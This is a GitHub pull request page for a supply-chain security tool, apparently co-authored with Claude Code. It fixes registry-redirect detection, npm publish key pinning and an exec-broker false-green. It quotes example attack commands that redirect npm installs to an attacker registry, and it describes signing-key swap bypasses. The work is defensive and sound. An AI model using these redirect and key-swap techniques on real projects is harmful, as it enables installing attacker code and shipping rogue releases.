Repository navigation
fix(security): close the three red-team CONFIRMED critical false-greens - #231
Merged
Merged
Conversation
1. install-gate registry-redirect: detect install-SOURCE redirects (npm_config_registry/PIP_INDEX_URL/--registry=/-i <url>) and mark the command unverifiable (fail-closed) unless the source is the public default — closes 'triage PASS while installing attacker code'. 2. CI publish: run the publish job under a protected environment (npm-publish) so NPM_TOKEN needs approval, and PIN the maintainer key fingerprint in MAINTAINER_KEY_FPR (refuse a swapped in-repo pubkey) — closes 'push a v* tag → ship to npm as latest'. 3. exec-broker: fail-closed-deny a gated op that declares no effect contract under an active policy (declaredEffects:true to opt in with zero effects) — closes the 'gates are dead code' false-green. 2222 tests pass; lint clean; publish.yml valid YAML. Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01DbF4MFePXWNCd4dxBQvqH2
|
✅ Docker image built successfully
|
install-gate (fix #1 residuals): - broaden the leading env-assignment strip to /^[^\s=]+=/ so a special-char name (env 'a:b=1' npm i evil) can no longer become argv[0] and hide the install entirely; - SOURCE_ENV_RE now also catches YARN_NPM_REGISTRY_SERVER, NPM_CONFIG_USERCONFIG/GLOBALCONFIG, PIP_CONFIG_FILE (indirect config-file redirects) and scoped npm_config_@scope:registry. publish.yml (fix #2 residual): - require the imported .asc to contain EXACTLY ONE primary key, so an attacker can't append a second key to the (pushable) pubkey file and have git verify-tag accept a rogue-key-signed tag (gpg --verify exits 0 on any good sig in the keyring). 2222 tests pass; lint clean; publish.yml valid YAML. Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01DbF4MFePXWNCd4dxBQvqH2
|
✅ Docker image built successfully
|
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Description
Closes the three CONFIRMED critical findings from the code-in-hand red-team — all three were false-greens (a gate reports PASS/green while the attack succeeds), the exact failure mode kit exists to prevent.
Type of Change
The three fixes
1. Install-gate registry-redirect (
src/install-gate.ts)npm_config_registry=http://attacker/ npm i lodashtriaged the reputable namelodash→ triage PASS, but npm pulledlodashfrom the attacker's registry. NowparseInstallCommanddetects install-SOURCE redirects — env vars (npm_config_registry,PIP_INDEX_URL,UV_INDEX_URL,*_registry…) and flags (--registry[=],--index-url[=],-i <url>) — and marks the command unverifiable (fail-closed) unless the source is the known public default. Flag values are also excluded from package parsing.2. CI publish supply-chain (
.github/workflows/publish.yml)publish.ymlran from the pushed tag's tree and imported + ultimately-trusted the in-repomaintainer-pubkey.asc, so anyone able to push av*tag could swap the key and ship to npm aslatestwith valid provenance — without the maintainer's private key. Now: the publish job runs under a protectedenvironment: npm-publish(scopeNPM_TOKENthere + required reviewers), and the maintainer key fingerprint is pinned in aMAINTAINER_KEY_FPRsecret — a swapped/mismatched in-repo key is refused, and the secret is required (fail-closed).3. exec-broker dead-code false-green (
src/exec-broker/broker.ts)The gates only inspected declared effect arrays, which the production caller never populated → every op passed regardless of policy.
brokerExecnow fail-closed-denies a gated op that declares no effect contract under an active policy; an effect-free op opts in explicitly viadeclaredEffects: true.Testing
npm test— 2222 pass, 0 faileslint0 errors;prettierclean;publish.ymlvalid YAML.Operator action required (for #2)
Configure the
npm-publishenvironment (required reviewers) and set theMAINTAINER_KEY_FPRsecret to the maintainer key's fingerprint. Until the secret is set, publishing fails closed (by design).Not in scope
The red-team's HIGH/MEDIUM findings (install-gate shell-keyword evasion, audit auto-advance laundering, air-gap npm beacon, revocation authority model, redaction gaps, memory quarantine evasion) — tracked as follow-ups.
🤖 Generated with Claude Code
https://claude.ai/code/session_01DbF4MFePXWNCd4dxBQvqH2
Generated by Claude Code